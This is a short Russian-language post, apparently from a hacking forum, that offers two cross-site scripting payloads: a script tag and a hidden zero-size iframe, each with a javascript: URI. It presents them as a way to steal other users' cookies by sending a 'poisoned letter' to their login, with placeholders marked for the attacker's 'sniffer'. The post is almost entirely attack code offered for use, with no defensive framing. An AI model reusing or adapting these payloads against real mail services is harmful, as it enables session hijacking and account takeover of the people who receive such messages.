Вот две XSS, позволяющие стянуть кукисы с помощью ядовитого письма. (отсылается, когда заходишь под своим аккаунтоми - шлёшь на чужой логин)

<script src="javascript:alert(/ваш сниффер/);"></script>

<iframe BORDER=0 HEIGHT=0 WIDTH=0 src="javascript:alert(/для сниффера тоже/);"></iframe>